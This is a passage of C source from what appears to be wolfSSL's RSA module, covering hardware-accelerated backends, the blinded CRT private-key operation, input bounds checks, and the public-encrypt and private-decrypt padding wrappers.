RSA exponent values are expected to be of 4 bytes * leading to private key operations with Xsecure_RsaDecrypt not being * supported */ ret = RSA_WRONG_TYPE_E; #else { byte *d; int dSz; XSecure_Rsa rsa; dSz = mp_unsigned_bin_size(&key->d); d = (byte*)XMALLOC(dSz, key->heap, DYNAMIC_TYPE_PRIVATE_KEY); if (d == NULL) { ret = MEMORY_E; } else { ret = mp_to_unsigned_bin(&key->d, d); XSecure_RsaInitialize(&rsa, key->mod, NULL, d); } if (ret == 0) { if (XSecure_RsaPrivateDecrypt(&rsa, (u8*)in, inLen, out) != XST_SUCCESS) { ret = BAD_STATE_E; } } if (d != NULL) { XFREE(d, key->heap, DYNAMIC_TYPE_PRIVATE_KEY); } } #endif break; case RSA_PUBLIC_ENCRYPT: case RSA_PUBLIC_DECRYPT: #ifdef WOLFSSL_XILINX_CRYPTO_OLD if (XSecure_RsaDecrypt(&(key->xRsa), in, out) != XST_SUCCESS) { ret = BAD_STATE_E; } #else /* starting at Xilinx release 2019 the function XSecure_RsaDecrypt was removed */ if (XSecure_RsaPublicEncrypt(&(key->xRsa), (u8*)in, inLen, out) != XST_SUCCESS) { WOLFSSL_MSG("Error happened when calling hardware RSA public operation"); ret = BAD_STATE_E; } #endif break; default: ret = RSA_WRONG_TYPE_E; } *outLen = keyLen; return ret; } #elif defined(WOLFSSL_AFALG_XILINX_RSA) #ifndef ERROR_OUT #define ERROR_OUT(x) ret = (x); goto done #endif static const char WC_TYPE_ASYMKEY[] = "skcipher"; static const char WC_NAME_RSA[] = "xilinx-zynqmp-rsa"; #ifndef MAX_XILINX_RSA_KEY /* max key size of 4096 bits / 512 bytes */ #define MAX_XILINX_RSA_KEY 512 #endif static const byte XILINX_RSA_FLAG[] = {0x1}; /* AF_ALG implementation of RSA */ static int wc_RsaFunctionSync(const byte* in, word32 inLen, byte* out, word32* outLen, int type, RsaKey* key, WC_RNG* rng) { struct msghdr msg; struct cmsghdr* cmsg; struct iovec iov; byte* keyBuf = NULL; word32 keyBufSz = 0; char cbuf[CMSG_SPACE(4) + CMSG_SPACE(sizeof(struct af_alg_iv) + 1)] = {0}; int ret = 0; int op = 0; /* decryption vs encryption flag */ word32 keyLen; /* input and output buffer need to be aligned */ ALIGN64 byte outBuf[MAX_XILINX_RSA_KEY]; ALIGN64 byte inBuf[MAX_XILINX_RSA_KEY]; XMEMSET(&msg, 0, sizeof(struct msghdr)); (void)rng; keyLen = wc_RsaEncryptSize(key); if (keyLen > *outLen) { ERROR_OUT(RSA_BUFFER_E); } if (keyLen > MAX_XILINX_RSA_KEY) { WOLFSSL_MSG("RSA key size larger than supported"); ERROR_OUT(BAD_FUNC_ARG); } if ((keyBuf = (byte*)XMALLOC(keyLen * 2, key->heap, DYNAMIC_TYPE_KEY)) == NULL) { ERROR_OUT(MEMORY_E); } if ((ret = mp_to_unsigned_bin(&(key->n), keyBuf)) != MP_OKAY) { ERROR_OUT(MP_TO_E); } switch(type) { case RSA_PRIVATE_DECRYPT: case RSA_PRIVATE_ENCRYPT: op = 1; /* set as decrypt */ { keyBufSz = mp_unsigned_bin_size(&(key->d)); if ((mp_to_unsigned_bin(&(key->d), keyBuf + keyLen)) != MP_OKAY) { ERROR_OUT(MP_TO_E); } } break; case RSA_PUBLIC_DECRYPT: case RSA_PUBLIC_ENCRYPT: { word32 exp = 0; word32 eSz = mp_unsigned_bin_size(&(key->e)); if ((mp_to_unsigned_bin(&(key->e), (byte*)&exp + (sizeof(word32) - eSz))) != MP_OKAY) { ERROR_OUT(MP_TO_E); } keyBufSz = sizeof(word32); XMEMCPY(keyBuf + keyLen, (byte*)&exp, keyBufSz); break; } default: ERROR_OUT(RSA_WRONG_TYPE_E); } keyBufSz += keyLen; /* add size of modulus */ /* check for existing sockets before creating new ones */ if (key->alFd > 0) { close(key->alFd); key->alFd = WC_SOCK_NOTSET; } if (key->rdFd > 0) { close(key->rdFd); key->rdFd = WC_SOCK_NOTSET; } /* create new sockets and set the key to use */ if ((key->alFd = wc_Afalg_Socket()) < 0) { WOLFSSL_MSG("Unable to create socket"); ERROR_OUT(key->alFd); } if ((key->rdFd = wc_Afalg_CreateRead(key->alFd, WC_TYPE_ASYMKEY, WC_NAME_RSA)) < 0) { WOLFSSL_MSG("Unable to bind and create read/send socket"); ERROR_OUT(key->rdFd); } if ((ret = setsockopt(key->alFd, SOL_ALG, ALG_SET_KEY, keyBuf, keyBufSz)) < 0) { WOLFSSL_MSG("Error setting RSA key"); ERROR_OUT(ret); } msg.msg_control = cbuf; msg.msg_controllen = sizeof(cbuf); cmsg = CMSG_FIRSTHDR(&msg); if ((ret = wc_Afalg_SetOp(cmsg, op)) < 0) { ERROR_OUT(ret); } /* set flag in IV spot, needed for Xilinx hardware acceleration use */ cmsg = CMSG_NXTHDR(&msg, cmsg); if ((ret = wc_Afalg_SetIv(cmsg, (byte*)XILINX_RSA_FLAG, sizeof(XILINX_RSA_FLAG))) != 0) { ERROR_OUT(ret); } /* compose and send msg */ XMEMCPY(inBuf, (byte*)in, inLen); /* for alignment */ iov.iov_base = inBuf; iov.iov_len = inLen; msg.msg_iov = &iov; msg.msg_iovlen = 1; if ((ret = sendmsg(key->rdFd, &msg, 0)) <= 0) { ERROR_OUT(WC_AFALG_SOCK_E); } if ((ret = read(key->rdFd, outBuf, inLen)) <= 0) { ERROR_OUT(WC_AFALG_SOCK_E); } XMEMCPY(out, outBuf, ret); *outLen = keyLen; done: /* clear key data and free buffer */ if (keyBuf != NULL) { ForceZero(keyBuf, keyBufSz); } XFREE(keyBuf, key->heap, DYNAMIC_TYPE_KEY); if (key->alFd > 0) { close(key->alFd); key->alFd = WC_SOCK_NOTSET; } if (key->rdFd > 0) { close(key->rdFd); key->rdFd = WC_SOCK_NOTSET; } return ret; } #else static int wc_RsaFunctionSync(const byte* in, word32 inLen, byte* out, word32* outLen, int type, RsaKey* key, WC_RNG* rng) { #ifndef WOLFSSL_SP_MATH #ifdef WOLFSSL_SMALL_STACK mp_int* tmp; #ifdef WC_RSA_BLINDING mp_int* rnd; mp_int* rndi; #endif #else mp_int tmp[1]; #ifdef WC_RSA_BLINDING mp_int rnd[1], rndi[1]; #endif #endif int ret = 0; word32 keyLen = 0; #endif #ifdef WOLFSSL_HAVE_SP_RSA #ifndef WOLFSSL_SP_NO_2048 if (mp_count_bits(&key->n) == 2048) { switch(type) { #ifndef WOLFSSL_RSA_PUBLIC_ONLY case RSA_PRIVATE_DECRYPT: case RSA_PRIVATE_ENCRYPT: #ifdef WC_RSA_BLINDING if (rng == NULL) return MISSING_RNG_E; #endif #ifndef RSA_LOW_MEM if ((mp_count_bits(&key->p) == 1024) && (mp_count_bits(&key->q) == 1024)) { return sp_RsaPrivate_2048(in, inLen, &key->d, &key->p, &key->q, &key->dP, &key->dQ, &key->u, &key->n, out, outLen); } break; #else return sp_RsaPrivate_2048(in, inLen, &key->d, NULL, NULL, NULL, NULL, NULL, &key->n, out, outLen); #endif #endif case RSA_PUBLIC_ENCRYPT: case RSA_PUBLIC_DECRYPT: return sp_RsaPublic_2048(in, inLen, &key->e, &key->n, out, outLen); } } #endif #ifndef WOLFSSL_SP_NO_3072 if (mp_count_bits(&key->n) == 3072) { switch(type) { #ifndef WOLFSSL_RSA_PUBLIC_ONLY case RSA_PRIVATE_DECRYPT: case RSA_PRIVATE_ENCRYPT: #ifdef WC_RSA_BLINDING if (rng == NULL) return MISSING_RNG_E; #endif #ifndef RSA_LOW_MEM if ((mp_count_bits(&key->p) == 1536) && (mp_count_bits(&key->q) == 1536)) { return sp_RsaPrivate_3072(in, inLen, &key->d, &key->p, &key->q, &key->dP, &key->dQ, &key->u, &key->n, out, outLen); } break; #else return sp_RsaPrivate_3072(in, inLen, &key->d, NULL, NULL, NULL, NULL, NULL, &key->n, out, outLen); #endif #endif case RSA_PUBLIC_ENCRYPT: case RSA_PUBLIC_DECRYPT: return sp_RsaPublic_3072(in, inLen, &key->e, &key->n, out, outLen); } } #endif #ifdef WOLFSSL_SP_4096 if (mp_count_bits(&key->n) == 4096) { switch(type) { #ifndef WOLFSSL_RSA_PUBLIC_ONLY case RSA_PRIVATE_DECRYPT: case RSA_PRIVATE_ENCRYPT: #ifdef WC_RSA_BLINDING if (rng == NULL) return MISSING_RNG_E; #endif #ifndef RSA_LOW_MEM if ((mp_count_bits(&key->p) == 2048) && (mp_count_bits(&key->q) == 2048)) { return sp_RsaPrivate_4096(in, inLen, &key->d, &key->p, &key->q, &key->dP, &key->dQ, &key->u, &key->n, out, outLen); } break; #else return sp_RsaPrivate_4096(in, inLen, &key->d, NULL, NULL, NULL, NULL, NULL, &key->n, out, outLen); #endif #endif case RSA_PUBLIC_ENCRYPT: case RSA_PUBLIC_DECRYPT: return sp_RsaPublic_4096(in, inLen, &key->e, &key->n, out, outLen); } } #endif #endif /* WOLFSSL_HAVE_SP_RSA */ #ifdef WOLFSSL_SP_MATH (void)rng; WOLFSSL_MSG("SP Key Size Error"); return WC_KEY_SIZE_E; #else (void)rng; #ifdef WOLFSSL_SMALL_STACK tmp = (mp_int*)XMALLOC(sizeof(mp_int), key->heap, DYNAMIC_TYPE_RSA); if (tmp == NULL) return MEMORY_E; #ifdef WC_RSA_BLINDING rnd = (mp_int*)XMALLOC(sizeof(mp_int) * 2, key->heap, DYNAMIC_TYPE_RSA); if (rnd == NULL) { XFREE(tmp, key->heap, DYNAMIC_TYPE_RSA); return MEMORY_E; } rndi = rnd + 1; #endif /* WC_RSA_BLINDING */ #endif /* WOLFSSL_SMALL_STACK */ if (mp_init(tmp) != MP_OKAY) ret = MP_INIT_E; #ifdef WC_RSA_BLINDING if (ret == 0) { if (type == RSA_PRIVATE_DECRYPT || type == RSA_PRIVATE_ENCRYPT) { if (mp_init_multi(rnd, rndi, NULL, NULL, NULL, NULL) != MP_OKAY) { mp_clear(tmp); ret = MP_INIT_E; } } } #endif #ifndef TEST_UNPAD_CONSTANT_TIME if (ret == 0 && mp_read_unsigned_bin(tmp, (byte*)in, inLen) != MP_OKAY) ret = MP_READ_E; if (ret == 0) { switch(type) { #ifndef WOLFSSL_RSA_PUBLIC_ONLY case RSA_PRIVATE_DECRYPT: case RSA_PRIVATE_ENCRYPT: { #if defined(WC_RSA_BLINDING) && !defined(WC_NO_RNG) /* blind */ ret = mp_rand(rnd, get_digit_count(&key->n), rng); /* rndi = 1/rnd mod n */ if (ret == 0 && mp_invmod(rnd, &key->n, rndi) != MP_OKAY) ret = MP_INVMOD_E; /* rnd = rnd^e */ if (ret == 0 && mp_exptmod(rnd, &key->e, &key->n, rnd) != MP_OKAY) ret = MP_EXPTMOD_E; /* tmp = tmp*rnd mod n */ if (ret == 0 && mp_mulmod(tmp, rnd, &key->n, tmp) != MP_OKAY) ret = MP_MULMOD_E; #endif /* WC_RSA_BLINDING && !WC_NO_RNG */ #ifdef RSA_LOW_MEM /* half as much memory but twice as slow */ if (ret == 0 && mp_exptmod(tmp, &key->d, &key->n, tmp) != MP_OKAY) ret = MP_EXPTMOD_E; #else if (ret == 0) { #ifdef WOLFSSL_SMALL_STACK mp_int* tmpa; mp_int* tmpb = NULL; #else mp_int tmpa[1], tmpb[1]; #endif int cleara = 0, clearb = 0; #ifdef WOLFSSL_SMALL_STACK tmpa = (mp_int*)XMALLOC(sizeof(mp_int) * 2, key->heap, DYNAMIC_TYPE_RSA); if (tmpa != NULL) tmpb = tmpa + 1; else ret = MEMORY_E; #endif if (ret == 0) { if (mp_init(tmpa) != MP_OKAY) ret = MP_INIT_E; else cleara = 1; } if (ret == 0) { if (mp_init(tmpb) != MP_OKAY) ret = MP_INIT_E; else clearb = 1; } /* tmpa = tmp^dP mod p */ if (ret == 0 && mp_exptmod(tmp, &key->dP, &key->p, tmpa) != MP_OKAY) ret = MP_EXPTMOD_E; /* tmpb = tmp^dQ mod q */ if (ret == 0 && mp_exptmod(tmp, &key->dQ, &key->q, tmpb) != MP_OKAY) ret = MP_EXPTMOD_E; /* tmp = (tmpa - tmpb) * qInv (mod p) */ if (ret == 0 && mp_sub(tmpa, tmpb, tmp) != MP_OKAY) ret = MP_SUB_E; if (ret == 0 && mp_mulmod(tmp, &key->u, &key->p, tmp) != MP_OKAY) ret = MP_MULMOD_E; /* tmp = tmpb + q * tmp */ if (ret == 0 && mp_mul(tmp, &key->q, tmp) != MP_OKAY) ret = MP_MUL_E; if (ret == 0 && mp_add(tmp, tmpb, tmp) != MP_OKAY) ret = MP_ADD_E; #ifdef WOLFSSL_SMALL_STACK if (tmpa != NULL) #endif { if (cleara) mp_clear(tmpa); if (clearb) mp_clear(tmpb); #ifdef WOLFSSL_SMALL_STACK XFREE(tmpa, key->heap, DYNAMIC_TYPE_RSA); #endif } } /* tmpa/b scope */ #endif /* RSA_LOW_MEM */ #ifdef WC_RSA_BLINDING /* unblind */ if (ret == 0 && mp_mulmod(tmp, rndi, &key->n, tmp) != MP_OKAY) ret = MP_MULMOD_E; #endif /* WC_RSA_BLINDING */ break; } #endif case RSA_PUBLIC_ENCRYPT: case RSA_PUBLIC_DECRYPT: if (mp_exptmod_nct(tmp, &key->e, &key->n, tmp) != MP_OKAY) ret = MP_EXPTMOD_E; break; default: ret = RSA_WRONG_TYPE_E; break; } } if (ret == 0) { keyLen = wc_RsaEncryptSize(key); if (keyLen > *outLen) ret = RSA_BUFFER_E; } #ifndef WOLFSSL_XILINX_CRYPT if (ret == 0) { *outLen = keyLen; if (mp_to_unsigned_bin_len(tmp, out, keyLen) != MP_OKAY) ret = MP_TO_E; } #endif #else (void)type; (void)key; (void)keyLen; XMEMCPY(out, in, inLen); *outLen = inLen; #endif mp_clear(tmp); #ifdef WOLFSSL_SMALL_STACK XFREE(tmp, key->heap, DYNAMIC_TYPE_RSA); #endif #ifdef WC_RSA_BLINDING if (type == RSA_PRIVATE_DECRYPT || type == RSA_PRIVATE_ENCRYPT) { mp_clear(rndi); mp_clear(rnd); } #ifdef WOLFSSL_SMALL_STACK XFREE(rnd, key->heap, DYNAMIC_TYPE_RSA); #endif #endif /* WC_RSA_BLINDING */ return ret; #endif /* WOLFSSL_SP_MATH */ } #endif #if defined(WOLFSSL_ASYNC_CRYPT) && defined(WC_ASYNC_ENABLE_RSA) static int wc_RsaFunctionAsync(const byte* in, word32 inLen, byte* out, word32* outLen, int type, RsaKey* key, WC_RNG* rng) { int ret = 0; (void)rng; #ifdef WOLFSSL_ASYNC_CRYPT_TEST if (wc_AsyncTestInit(&key->asyncDev, ASYNC_TEST_RSA_FUNC)) { WC_ASYNC_TEST* testDev = &key->asyncDev.test; testDev->rsaFunc.in = in; testDev->rsaFunc.inSz = inLen; testDev->rsaFunc.out = out; testDev->rsaFunc.outSz = outLen; testDev->rsaFunc.type = type; testDev->rsaFunc.key = key; testDev->rsaFunc.rng = rng; return WC_PENDING_E; } #endif /* WOLFSSL_ASYNC_CRYPT_TEST */ switch(type) { #ifndef WOLFSSL_RSA_PUBLIC_ONLY case RSA_PRIVATE_DECRYPT: case RSA_PRIVATE_ENCRYPT: #ifdef HAVE_CAVIUM key->dataLen = key->n.raw.len; ret = NitroxRsaExptMod(in, inLen, key->d.raw.buf, key->d.raw.len, key->n.raw.buf, key->n.raw.len, out, outLen, key); #elif defined(HAVE_INTEL_QA) #ifdef RSA_LOW_MEM ret = IntelQaRsaPrivate(&key->asyncDev, in, inLen, &key->d.raw, &key->n.raw, out, outLen); #else ret = IntelQaRsaCrtPrivate(&key->asyncDev, in, inLen, &key->p.raw, &key->q.raw, &key->dP.raw, &key->dQ.raw, &key->u.raw, out, outLen); #endif #else /* WOLFSSL_ASYNC_CRYPT_TEST */ ret = wc_RsaFunctionSync(in, inLen, out, outLen, type, key, rng); #endif break; #endif case RSA_PUBLIC_ENCRYPT: case RSA_PUBLIC_DECRYPT: #ifdef HAVE_CAVIUM key->dataLen = key->n.raw.len; ret = NitroxRsaExptMod(in, inLen, key->e.raw.buf, key->e.raw.len, key->n.raw.buf, key->n.raw.len, out, outLen, key); #elif defined(HAVE_INTEL_QA) ret = IntelQaRsaPublic(&key->asyncDev, in, inLen, &key->e.raw, &key->n.raw, out, outLen); #else /* WOLFSSL_ASYNC_CRYPT_TEST */ ret = wc_RsaFunctionSync(in, inLen, out, outLen, type, key, rng); #endif break; default: ret = RSA_WRONG_TYPE_E; } return ret; } #endif /* WOLFSSL_ASYNC_CRYPT && WC_ASYNC_ENABLE_RSA */ #if defined(WC_RSA_DIRECT) || defined(WC_RSA_NO_PADDING) /* Function that does the RSA operation directly with no padding. * * in buffer to do operation on * inLen length of input buffer * out buffer to hold results * outSz gets set to size of result buffer. Should be passed in as length * of out buffer. If the pointer "out" is null then outSz gets set to * the expected buffer size needed and LENGTH_ONLY_E gets returned. * key RSA key to use for encrypt/decrypt * type if using private or public key {RSA_PUBLIC_ENCRYPT, * RSA_PUBLIC_DECRYPT, RSA_PRIVATE_ENCRYPT, RSA_PRIVATE_DECRYPT} * rng wolfSSL RNG to use if needed * * returns size of result on success */ int wc_RsaDirect(byte* in, word32 inLen, byte* out, word32* outSz, RsaKey* key, int type, WC_RNG* rng) { int ret; if (in == NULL || outSz == NULL || key == NULL) { return BAD_FUNC_ARG; } /* sanity check on type of RSA operation */ switch (type) { case RSA_PUBLIC_ENCRYPT: case RSA_PUBLIC_DECRYPT: case RSA_PRIVATE_ENCRYPT: case RSA_PRIVATE_DECRYPT: break; default: WOLFSSL_MSG("Bad RSA type"); return BAD_FUNC_ARG; } if ((ret = wc_RsaEncryptSize(key)) < 0) { return BAD_FUNC_ARG; } if (inLen != (word32)ret) { WOLFSSL_MSG("Bad input length. Should be RSA key size"); return BAD_FUNC_ARG; } if (out == NULL) { *outSz = inLen; return LENGTH_ONLY_E; } switch (key->state) { case RSA_STATE_NONE: case RSA_STATE_ENCRYPT_PAD: case RSA_STATE_ENCRYPT_EXPTMOD: case RSA_STATE_DECRYPT_EXPTMOD: case RSA_STATE_DECRYPT_UNPAD: key->state = (type == RSA_PRIVATE_ENCRYPT || type == RSA_PUBLIC_ENCRYPT) ? RSA_STATE_ENCRYPT_EXPTMOD: RSA_STATE_DECRYPT_EXPTMOD; key->dataLen = *outSz; ret = wc_RsaFunction(in, inLen, out, &key->dataLen, type, key, rng); if (ret >= 0 || ret == WC_PENDING_E) { key->state = (type == RSA_PRIVATE_ENCRYPT || type == RSA_PUBLIC_ENCRYPT) ? RSA_STATE_ENCRYPT_RES: RSA_STATE_DECRYPT_RES; } if (ret < 0) { break; } FALL_THROUGH; case RSA_STATE_ENCRYPT_RES: case RSA_STATE_DECRYPT_RES: ret = key->dataLen; break; default: ret = BAD_STATE_E; } /* if async pending then skip cleanup*/ if (ret == WC_PENDING_E #ifdef WC_RSA_NONBLOCK || ret == FP_WOULDBLOCK #endif ) { return ret; } key->state = RSA_STATE_NONE; wc_RsaCleanup(key); return ret; } #endif /* WC_RSA_DIRECT || WC_RSA_NO_PADDING */ #if defined(WOLFSSL_CRYPTOCELL) static int cc310_RsaPublicEncrypt(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key) { CRYSError_t ret = 0; CRYS_RSAPrimeData_t primeData; int modulusSize = wc_RsaEncryptSize(key); /* The out buffer must be at least modulus size bytes long. */ if (outLen < modulusSize) return BAD_FUNC_ARG; ret = CRYS_RSA_PKCS1v15_Encrypt(&wc_rndState, wc_rndGenVectFunc, &key->ctx.pubKey, &primeData, (byte*)in, inLen, out); if (ret != SA_SILIB_RET_OK){ WOLFSSL_MSG("CRYS_RSA_PKCS1v15_Encrypt failed"); return -1; } return modulusSize; } static int cc310_RsaPublicDecrypt(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key) { CRYSError_t ret = 0; CRYS_RSAPrimeData_t primeData; uint16_t actualOutLen = outLen; ret = CRYS_RSA_PKCS1v15_Decrypt(&key->ctx.privKey, &primeData, (byte*)in, inLen, out, &actualOutLen); if (ret != SA_SILIB_RET_OK){ WOLFSSL_MSG("CRYS_RSA_PKCS1v15_Decrypt failed"); return -1; } return actualOutLen; } int cc310_RsaSSL_Sign(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key, CRYS_RSA_HASH_OpMode_t mode) { CRYSError_t ret = 0; uint16_t actualOutLen = outLen*sizeof(byte); CRYS_RSAPrivUserContext_t contextPrivate; ret = CRYS_RSA_PKCS1v15_Sign(&wc_rndState, wc_rndGenVectFunc, &contextPrivate, &key->ctx.privKey, mode, (byte*)in, inLen, out, &actualOutLen); if (ret != SA_SILIB_RET_OK){ WOLFSSL_MSG("CRYS_RSA_PKCS1v15_Sign failed"); return -1; } return actualOutLen; } int cc310_RsaSSL_Verify(const byte* in, word32 inLen, byte* sig, RsaKey* key, CRYS_RSA_HASH_OpMode_t mode) { CRYSError_t ret = 0; CRYS_RSAPubUserContext_t contextPub; /* verify the signature in the sig pointer */ ret = CRYS_RSA_PKCS1v15_Verify(&contextPub, &key->ctx.pubKey, mode, (byte*)in, inLen, sig); if (ret != SA_SILIB_RET_OK){ WOLFSSL_MSG("CRYS_RSA_PKCS1v15_Verify failed"); return -1; } return ret; } #endif /* WOLFSSL_CRYPTOCELL */ int wc_RsaFunction(const byte* in, word32 inLen, byte* out, word32* outLen, int type, RsaKey* key, WC_RNG* rng) { int ret = 0; if (key == NULL || in == NULL || inLen == 0 || out == NULL || outLen == NULL || *outLen == 0 || type == RSA_TYPE_UNKNOWN) { return BAD_FUNC_ARG; } #ifdef WOLF_CRYPTO_CB if (key->devId != INVALID_DEVID) { ret = wc_CryptoCb_Rsa(in, inLen, out, outLen, type, key, rng); if (ret != CRYPTOCB_UNAVAILABLE) return ret; /* fall-through when unavailable */ ret = 0; /* reset error code and try using software */ } #endif #ifndef TEST_UNPAD_CONSTANT_TIME #ifndef NO_RSA_BOUNDS_CHECK if (type == RSA_PRIVATE_DECRYPT && key->state == RSA_STATE_DECRYPT_EXPTMOD) { /* Check that 1 < in < n-1. (Requirement of 800-56B.) */ #ifdef WOLFSSL_SMALL_STACK mp_int* c; #else mp_int c[1]; #endif #ifdef WOLFSSL_SMALL_STACK c = (mp_int*)XMALLOC(sizeof(mp_int), key->heap, DYNAMIC_TYPE_RSA); if (c == NULL) ret = MEMORY_E; #endif if (mp_init(c) != MP_OKAY) ret = MP_INIT_E; if (ret == 0) { if (mp_read_unsigned_bin(c, in, inLen) != 0) ret = MP_READ_E; } if (ret == 0) { /* check c > 1 */ if (mp_cmp_d(c, 1) != MP_GT) ret = RSA_OUT_OF_RANGE_E; } if (ret == 0) { /* add c+1 */ if (mp_add_d(c, 1, c) != MP_OKAY) ret = MP_ADD_E; } if (ret == 0) { /* check c+1 < n */ if (mp_cmp(c, &key->n) != MP_LT) ret = RSA_OUT_OF_RANGE_E; } mp_clear(c); #ifdef WOLFSSL_SMALL_STACK XFREE(c, key->heap, DYNAMIC_TYPE_RSA); #endif if (ret != 0) return ret; } #endif /* NO_RSA_BOUNDS_CHECK */ #endif #if defined(WOLFSSL_ASYNC_CRYPT) && defined(WC_ASYNC_ENABLE_RSA) if (key->asyncDev.marker == WOLFSSL_ASYNC_MARKER_RSA && key->n.raw.len > 0) { ret = wc_RsaFunctionAsync(in, inLen, out, outLen, type, key, rng); } else #endif #ifdef WC_RSA_NONBLOCK if (key->nb) { ret = wc_RsaFunctionNonBlock(in, inLen, out, outLen, type, key); } else #endif { ret = wc_RsaFunctionSync(in, inLen, out, outLen, type, key, rng); } /* handle error */ if (ret < 0 && ret != WC_PENDING_E #ifdef WC_RSA_NONBLOCK && ret != FP_WOULDBLOCK #endif ) { if (ret == MP_EXPTMOD_E) { /* This can happen due to incorrectly set FP_MAX_BITS or missing XREALLOC */ WOLFSSL_MSG("RSA_FUNCTION MP_EXPTMOD_E: memory/config problem"); } key->state = RSA_STATE_NONE; wc_RsaCleanup(key); } return ret; } #ifndef WOLFSSL_RSA_VERIFY_ONLY /* Internal Wrappers */ /* Gives the option of choosing padding type in : input to be encrypted inLen: length of input buffer out: encrypted output outLen: length of encrypted output buffer key : wolfSSL initialized RSA key struct rng : wolfSSL initialized random number struct rsa_type : type of RSA: RSA_PUBLIC_ENCRYPT, RSA_PUBLIC_DECRYPT, RSA_PRIVATE_ENCRYPT or RSA_PRIVATE_DECRYPT pad_value: RSA_BLOCK_TYPE_1 or RSA_BLOCK_TYPE_2 pad_type : type of padding: WC_RSA_PKCSV15_PAD, WC_RSA_OAEP_PAD, WC_RSA_NO_PAD or WC_RSA_PSS_PAD hash : type of hash algorithm to use found in wolfssl/wolfcrypt/hash.h mgf : type of mask generation function to use label : optional label labelSz : size of optional label buffer saltLen : Length of salt used in PSS rng : random number generator */ static int RsaPublicEncryptEx(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key, int rsa_type, byte pad_value, int pad_type, enum wc_HashType hash, int mgf, byte* label, word32 labelSz, int saltLen, WC_RNG* rng) { int ret, sz; if (in == NULL || inLen == 0 || out == NULL || key == NULL) { return BAD_FUNC_ARG; } sz = wc_RsaEncryptSize(key); if (sz > (int)outLen) { return RSA_BUFFER_E; } if (sz < RSA_MIN_PAD_SZ) { return WC_KEY_SIZE_E; } if (inLen > (word32)(sz - RSA_MIN_PAD_SZ)) { #ifdef WC_RSA_NO_PADDING /* In the case that no padding is used the input length can and should * be the same size as the RSA key. */ if (pad_type != WC_RSA_NO_PAD) #endif return RSA_BUFFER_E; } switch (key->state) { case RSA_STATE_NONE: case RSA_STATE_ENCRYPT_PAD: #if defined(WOLFSSL_ASYNC_CRYPT) && defined(WC_ASYNC_ENABLE_RSA) && \ defined(HAVE_CAVIUM) if (key->asyncDev.marker == WOLFSSL_ASYNC_MARKER_RSA && pad_type != WC_RSA_PSS_PAD && key->n.raw.buf) { /* Async operations that include padding */ if (rsa_type == RSA_PUBLIC_ENCRYPT && pad_value == RSA_BLOCK_TYPE_2) { key->state = RSA_STATE_ENCRYPT_RES; key->dataLen = key->n.raw.len; return NitroxRsaPublicEncrypt(in, inLen, out, outLen, key); } else if (rsa_type == RSA_PRIVATE_ENCRYPT && pad_value == RSA_BLOCK_TYPE_1) { key->state = RSA_STATE_ENCRYPT_RES; key->dataLen = key->n.raw.len; return NitroxRsaSSL_Sign(in, inLen, out, outLen, key); } } #elif defined(WOLFSSL_CRYPTOCELL) if (rsa_type == RSA_PUBLIC_ENCRYPT && pad_value == RSA_BLOCK_TYPE_2) { return cc310_RsaPublicEncrypt(in, inLen, out, outLen, key); } else if (rsa_type == RSA_PRIVATE_ENCRYPT && pad_value == RSA_BLOCK_TYPE_1) { return cc310_RsaSSL_Sign(in, inLen, out, outLen, key, cc310_hashModeRSA(hash, 0)); } #endif /* WOLFSSL_CRYPTOCELL */ key->state = RSA_STATE_ENCRYPT_PAD; ret = wc_RsaPad_ex(in, inLen, out, sz, pad_value, rng, pad_type, hash, mgf, label, labelSz, saltLen, mp_count_bits(&key->n), key->heap); if (ret < 0) { break; } key->state = RSA_STATE_ENCRYPT_EXPTMOD; FALL_THROUGH; case RSA_STATE_ENCRYPT_EXPTMOD: key->dataLen = outLen; ret = wc_RsaFunction(out, sz, out, &key->dataLen, rsa_type, key, rng); if (ret >= 0 || ret == WC_PENDING_E) { key->state = RSA_STATE_ENCRYPT_RES; } if (ret < 0) { break; } FALL_THROUGH; case RSA_STATE_ENCRYPT_RES: ret = key->dataLen; break; default: ret = BAD_STATE_E; break; } /* if async pending then return and skip done cleanup below */ if (ret == WC_PENDING_E #ifdef WC_RSA_NONBLOCK || ret == FP_WOULDBLOCK #endif ) { return ret; } key->state = RSA_STATE_NONE; wc_RsaCleanup(key); return ret; } #endif /* Gives the option of choosing padding type in : input to be decrypted inLen: length of input buffer out: decrypted message outLen: length of decrypted message in bytes outPtr: optional inline output pointer (if provided doing inline) key : wolfSSL initialized RSA key struct rsa_type : type of RSA: RSA_PUBLIC_ENCRYPT, RSA_PUBLIC_DECRYPT, RSA_PRIVATE_ENCRYPT or RSA_PRIVATE_DECRYPT pad_value: RSA_BLOCK_TYPE_1 or RSA_BLOCK_TYPE_2 pad_type : type of padding: WC_RSA_PKCSV15_PAD, WC_RSA_OAEP_PAD, WC_RSA_NO_PAD, WC_RSA_PSS_PAD hash : type of hash algorithm to use found in wolfssl/wolfcrypt/hash.h mgf : type of mask generation function to use label : optional label labelSz : size of optional label buffer saltLen : Length of salt used in PSS rng : random number generator */ static int RsaPrivateDecryptEx(byte* in, word32 inLen, byte* out, word32 outLen, byte** outPtr, RsaKey* key, int rsa_type, byte pad_value, int pad_type, enum wc_HashType hash, int mgf, byte* label, word32 labelSz, int saltLen, WC_RNG* rng) { int ret = RSA_WRONG_TYPE_E; byte* pad = NULL; if (in == NULL || inLen == 0 || out == NULL || key == NULL) { return BAD_FUNC_ARG; } switch (key->state) { case RSA_STATE_NONE: key->dataLen = inLen; #if defined(WOLFSSL_ASYNC_CRYPT) && defined(WC_ASYNC_ENABLE_RSA) && \ defined(HAVE_CAVIUM) /* Async operations that include padding */ if (key->asyncDev.marker == WOLFSSL_ASYNC_MARKER_RSA && pad_type != WC_RSA_PSS_PAD) { #ifndef WOLFSSL_RSA_PUBLIC_ONLY if (rsa_type == RSA_PRIVATE_DECRYPT && pad_value == RSA_BLOCK_TYPE_2) { key->state = RSA_STATE_DECRYPT_RES; key->data = NULL; return NitroxRsaPrivateDecrypt(in, inLen, out, &key->dataLen, key); #endif } else if (rsa_type == RSA_PUBLIC_DECRYPT && pad_value == RSA_BLOCK_TYPE_1) { key->state = RSA_STATE_DECRYPT_RES; key->data = NULL; return NitroxRsaSSL_Verify(in, inLen, out, &key->dataLen, key); } } #elif defined(WOLFSSL_CRYPTOCELL) if (rsa_type == RSA_PRIVATE_DECRYPT && pad_value == RSA_BLOCK_TYPE_2) { ret = cc310_RsaPublicDecrypt(in, inLen, 